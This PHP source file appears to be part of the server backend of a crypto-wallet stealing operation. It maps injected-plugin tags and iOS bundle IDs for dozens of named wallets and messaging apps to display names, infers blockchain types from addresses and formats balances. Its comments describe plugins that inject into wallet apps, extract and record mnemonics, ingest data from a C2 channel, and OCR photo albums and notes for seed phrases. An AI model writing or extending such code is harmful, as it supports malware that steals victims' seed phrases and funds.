386 lines
11 KiB
PHP
386 lines
11 KiB
PHP
<?php
|
|
|
|
namespace App\Support;
|
|
|
|
/**
|
|
* Map plugin short tag payload `a` → human wallet name.
|
|
*/
|
|
final class WalletSource
|
|
{
|
|
/** @var array<string, string> */
|
|
private const TAGS = [
|
|
'b' => 'imToken',
|
|
'b1' => 'imToken',
|
|
'p' => 'Global Wallet',
|
|
'd' => 'Trust Wallet',
|
|
'r' => 'Bitpie',
|
|
'q' => 'Coin98',
|
|
'e' => 'Coinbase Wallet',
|
|
'k' => 'Exodus',
|
|
'm' => 'Krystal',
|
|
'a' => 'MetaMask',
|
|
'a1' => 'MetaMask',
|
|
'j' => 'MyTonWallet',
|
|
'i' => 'Phantom',
|
|
'l' => 'Ronin',
|
|
'n' => 'Tonhub',
|
|
'g' => 'Tonkeeper',
|
|
'h' => 'Uniswap',
|
|
'h1' => 'Uniswap',
|
|
't' => 'OKX',
|
|
'c' => 'TronLink',
|
|
'f' => 'BitKeep',
|
|
's' => 'Solflare',
|
|
'tg' => 'Telegram',
|
|
'wp' => 'WhatsApp',
|
|
'wa' => 'WhatsApp',
|
|
'wap' => 'WhatsApp',
|
|
'sms' => 'iMessage',
|
|
// lab / fixture aliases
|
|
'tp' => 'TokenPocket',
|
|
'im' => 'imToken',
|
|
'album_ocr' => '相册',
|
|
'note_scan' => '备忘录扫描',
|
|
];
|
|
|
|
/**
|
|
* Display names for plugin wallet bundle IDs (mnemonic-capable).
|
|
*
|
|
* @var array<string, string>
|
|
*/
|
|
private const BUNDLE_LABELS = [
|
|
'im.token.app' => 'imToken',
|
|
'io.metamask' => 'MetaMask',
|
|
'io.metamask.MetaMask' => 'MetaMask',
|
|
'com.wallet.crypto.trustapp' => 'Trust Wallet',
|
|
'com.sixdays.trust' => 'Trust Wallet',
|
|
'com.okex.wallet' => 'OKX',
|
|
'com.okex.OKExAppstoreFull' => 'OKX',
|
|
'com.coinbase.wallet' => 'Coinbase Wallet',
|
|
'org.toshi.distribution' => 'Coinbase Wallet',
|
|
'com.exodus' => 'Exodus',
|
|
'exodus-movement.exodus' => 'Exodus',
|
|
'app.phantom' => 'Phantom',
|
|
'com.uniswap.mobile' => 'Uniswap',
|
|
'com.tronlinkpro.wallet' => 'TronLink',
|
|
'com.tronlink.hdwallet' => 'TronLink',
|
|
'com.mytonwallet.app' => 'MyTonWallet',
|
|
'org.mytonwallet.app' => 'MyTonWallet',
|
|
'com.tonhub.app' => 'Tonhub',
|
|
'com.tonkeeper.app' => 'Tonkeeper',
|
|
'com.jbig.tonkeeper' => 'Tonkeeper',
|
|
'vip.mytokenpocket' => 'TokenPocket',
|
|
'com.bitkeep.wallet' => 'BitKeep',
|
|
'com.bitkeep.os' => 'BitKeep',
|
|
'com.bitpie' => 'Bitpie',
|
|
'com.bitpie.wallet' => 'Bitpie',
|
|
'com.coin98' => 'Coin98',
|
|
'coin98.crypto.finance.insights' => 'Coin98',
|
|
'com.solflare.mobile' => 'Solflare',
|
|
'com.roninchain.wallet' => 'Ronin',
|
|
'com.skymavis.Genesis' => 'Ronin',
|
|
'com.krystal.wallet' => 'Krystal',
|
|
'com.kyrd.krystal.ios' => 'Krystal',
|
|
'com.global.wallet.ios' => 'Global Wallet',
|
|
];
|
|
|
|
/**
|
|
* DS /war wallet bucket keys → display name. Unknown keys stay empty.
|
|
*
|
|
* @var array<string, string>
|
|
*/
|
|
private const DS_WALLET_KEYS = [
|
|
'trustwallet' => 'Trust Wallet',
|
|
'trust_wallet' => 'Trust Wallet',
|
|
'trust' => 'Trust Wallet',
|
|
'imtoken' => 'imToken',
|
|
'im.token' => 'imToken',
|
|
'tokenpocket' => 'TokenPocket',
|
|
'token_pocket' => 'TokenPocket',
|
|
'phantom' => 'Phantom',
|
|
'uniswap' => 'Uniswap',
|
|
'coinbase' => 'Coinbase Wallet',
|
|
'bitget' => 'BitKeep',
|
|
'bitkeep' => 'BitKeep',
|
|
'metamask' => 'MetaMask',
|
|
'okx' => 'OKX',
|
|
'tronlink' => 'TronLink',
|
|
'coin98' => 'Coin98',
|
|
'solflare' => 'Solflare',
|
|
'exodus' => 'Exodus',
|
|
'tonkeeper' => 'Tonkeeper',
|
|
'mytonwallet' => 'MyTonWallet',
|
|
'tonhub' => 'Tonhub',
|
|
'bitpie' => 'Bitpie',
|
|
'telegram' => 'Telegram',
|
|
'whatsapp' => 'WhatsApp',
|
|
];
|
|
|
|
/** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */
|
|
private const NON_MNEMONIC_BUNDLES = [
|
|
'ph.telegra.Telegraph',
|
|
'net.whatsapp.WhatsApp',
|
|
'imagent',
|
|
'com.apple.imagent',
|
|
];
|
|
|
|
public const MANUAL_LABEL = '手动添加';
|
|
|
|
public static function fromTag(mixed $tag): string
|
|
{
|
|
if (! is_string($tag) || $tag === '') {
|
|
return 'unknown';
|
|
}
|
|
$key = strtolower(trim($tag));
|
|
|
|
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
|
|
}
|
|
|
|
/**
|
|
* Keystore source: known wallet name, or empty when unrecognized.
|
|
*/
|
|
public static function fromKeystoreHint(mixed $hint): string
|
|
{
|
|
if (! is_string($hint) || trim($hint) === '') {
|
|
return '';
|
|
}
|
|
$raw = trim($hint);
|
|
$key = strtolower($raw);
|
|
if (isset(self::TAGS[$key])) {
|
|
return self::TAGS[$key];
|
|
}
|
|
if (isset(self::DS_WALLET_KEYS[$key])) {
|
|
return self::DS_WALLET_KEYS[$key];
|
|
}
|
|
foreach (self::knownLabels() as $label) {
|
|
if (strcasecmp($label, $raw) === 0) {
|
|
return $label;
|
|
}
|
|
}
|
|
if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
|
|
return 'Trust Wallet';
|
|
}
|
|
if (str_contains($key, 'bitpie')) {
|
|
return 'Bitpie';
|
|
}
|
|
if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
|
|
return 'imToken';
|
|
}
|
|
if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
|
|
return 'TokenPocket';
|
|
}
|
|
if (str_contains($key, 'metamask')) {
|
|
return 'MetaMask';
|
|
}
|
|
|
|
return '';
|
|
}
|
|
|
|
/**
|
|
* Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
|
|
*/
|
|
public static function tagForLabel(string $label): string
|
|
{
|
|
$label = trim($label);
|
|
foreach (self::TAGS as $tag => $name) {
|
|
if (strcasecmp($name, $label) === 0) {
|
|
return $tag;
|
|
}
|
|
}
|
|
|
|
return '';
|
|
}
|
|
|
|
/**
|
|
* Wallet names shown when an admin manually attaches a mnemonic.
|
|
*
|
|
* @return list<string>
|
|
*/
|
|
public static function mnemonicSourceOptions(): array
|
|
{
|
|
$skip = ['Telegram', 'WhatsApp', 'iMessage', 'unknown'];
|
|
$labels = [];
|
|
foreach (self::knownLabels() as $label) {
|
|
$label = trim($label);
|
|
if ($label === '' || in_array($label, $skip, true)) {
|
|
continue;
|
|
}
|
|
$labels[$label] = true;
|
|
}
|
|
$sorted = array_keys($labels);
|
|
sort($sorted, SORT_NATURAL | SORT_FLAG_CASE);
|
|
$sorted[] = self::MANUAL_LABEL;
|
|
|
|
return $sorted;
|
|
}
|
|
|
|
/**
|
|
* @return list<string>
|
|
*/
|
|
private static function knownLabels(): array
|
|
{
|
|
return array_values(array_unique(array_merge(
|
|
array_values(self::TAGS),
|
|
array_values(self::DS_WALLET_KEYS),
|
|
array_values(self::BUNDLE_LABELS),
|
|
)));
|
|
}
|
|
|
|
/**
|
|
* True when this bundle is a business plugin that can extract a mnemonic.
|
|
*/
|
|
public static function isPluginWalletBundle(string $bundle): bool
|
|
{
|
|
$bundle = trim($bundle);
|
|
if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
|
|
return false;
|
|
}
|
|
if (isset(self::BUNDLE_LABELS[$bundle])) {
|
|
return true;
|
|
}
|
|
|
|
$configured = config('coruna.wallet_bundles', []);
|
|
|
|
return is_array($configured) && in_array($bundle, $configured, true)
|
|
&& ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
|
|
}
|
|
|
|
public static function labelForBundle(string $bundle, ?string $fallback = null): string
|
|
{
|
|
$bundle = trim($bundle);
|
|
if (isset(self::BUNDLE_LABELS[$bundle])) {
|
|
return self::BUNDLE_LABELS[$bundle];
|
|
}
|
|
$fallback = trim((string) $fallback);
|
|
|
|
return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
|
|
}
|
|
|
|
/**
|
|
* Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
|
|
*
|
|
* @var list<string>
|
|
*/
|
|
public const SUPPORTED_CHAINS = [
|
|
'ETH', 'ETHEREUM', 'EVM',
|
|
'TRX', 'TRON',
|
|
'BTC', 'BITCOIN',
|
|
'BNB', 'BSC', 'BINANCE',
|
|
'SOL', 'SOLANA',
|
|
'ARB', 'ARBITRUM',
|
|
'TON', 'TONCOIN',
|
|
];
|
|
|
|
public static function isSupportedChain(string $chainType): bool
|
|
{
|
|
return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true);
|
|
}
|
|
|
|
/**
|
|
* Infer chain type from address when plugin omits chainType.
|
|
*/
|
|
public static function inferChainType(string $address): string
|
|
{
|
|
$address = trim($address);
|
|
if ($address === '') {
|
|
return 'UNKNOWN';
|
|
}
|
|
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
|
|
return 'ETHEREUM';
|
|
}
|
|
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
|
|
return 'TRON';
|
|
}
|
|
// Binance Chain / Beacon Chain bech32 (must precede Solana base58)
|
|
if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
|
|
return 'BSC';
|
|
}
|
|
if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
|
|
return 'BITCOIN';
|
|
}
|
|
if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
|
|
// Solana-like base58
|
|
return 'SOLANA';
|
|
}
|
|
if (preg_match('/^EQ|^UQ/i', $address)) {
|
|
return 'TON';
|
|
}
|
|
|
|
return 'UNKNOWN';
|
|
}
|
|
|
|
/**
|
|
* Format raw on-chain integer by decimal; pass through already-decimal strings.
|
|
*/
|
|
public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
|
|
{
|
|
if ($raw === null || $raw === '') {
|
|
return 0;
|
|
}
|
|
$rawStr = trim((string) $raw);
|
|
if ($rawStr === '') {
|
|
return 0;
|
|
}
|
|
|
|
// Already human-readable (contains decimal point) — keep numeric value.
|
|
if (str_contains($rawStr, '.')) {
|
|
return self::normalizeNumber($rawStr);
|
|
}
|
|
|
|
if ($decimal === null || $decimal === '') {
|
|
return self::normalizeNumber($rawStr);
|
|
}
|
|
|
|
$dec = (int) $decimal;
|
|
if ($dec <= 0) {
|
|
return self::normalizeNumber($rawStr);
|
|
}
|
|
|
|
if (! function_exists('bcdiv')) {
|
|
$value = ((float) $rawStr) / (10 ** $dec);
|
|
|
|
return self::normalizeNumber((string) $value);
|
|
}
|
|
|
|
$formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
|
|
$formatted = rtrim(rtrim($formatted, '0'), '.');
|
|
if ($formatted === '' || $formatted === '-0') {
|
|
$formatted = '0';
|
|
}
|
|
|
|
return self::normalizeNumber($formatted);
|
|
}
|
|
|
|
private static function normalizeNumber(string $value): int|float|string
|
|
{
|
|
if (! is_numeric($value)) {
|
|
return $value;
|
|
}
|
|
if (str_contains($value, '.')) {
|
|
$f = (float) $value;
|
|
|
|
return $f == (int) $f ? (int) $f : $f;
|
|
}
|
|
// large integers stay as string if beyond PHP int
|
|
if (strlen(ltrim($value, '+-')) > 18) {
|
|
return $value;
|
|
}
|
|
|
|
return (int) $value;
|
|
}
|
|
|
|
public static function nativeSymbolForChain(string $chainType): string
|
|
{
|
|
return match (strtoupper($chainType)) {
|
|
'TRON', 'TRX' => 'TRX',
|
|
'BITCOIN', 'BTC' => 'BTC',
|
|
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
|
|
'SOLANA', 'SOL' => 'SOL',
|
|
'TON' => 'TON',
|
|
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
|
'ARB', 'ARBITRUM' => 'ETH',
|
|
default => strtoupper($chainType) ?: 'UNKNOWN',
|
|
};
|
|
}
|
|
}
|